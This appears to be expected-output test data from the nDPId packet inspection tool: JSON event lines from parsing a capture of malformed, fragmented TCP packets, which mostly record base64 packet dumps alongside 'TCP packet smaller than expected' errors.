-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4985,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259311} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4986,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259319} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259346} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259357} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259364} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259371} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259378} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259392} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259418} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259430} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259440} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259451} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259460} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259469} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":4999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259483} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259500} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259514} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259527} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259539} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259552} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259565} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029259588} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244029259607} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":5008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244029256594,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAiZeJSQjJioo"} 00765{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":17,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244029559709,"flow_src_last_pkt_time":1534244029559709,"flow_dst_last_pkt_time":1534244029559709,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1534244029559709,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":19273,"dst_port":19016,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00525{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_src_last_pkt_time":1534244029559709,"flow_dst_last_pkt_time":1534244029559709,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAktJSkhHRkQyKiZERkdISkvKWwAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029559729} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029559745} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029559760} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029559775} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029559790} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029559807} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029559821} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029559836} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029559851} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029559865} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029559880} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029559895} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029559910} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029559925} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029559940} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029559955} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029559977} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029559996} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029560011} 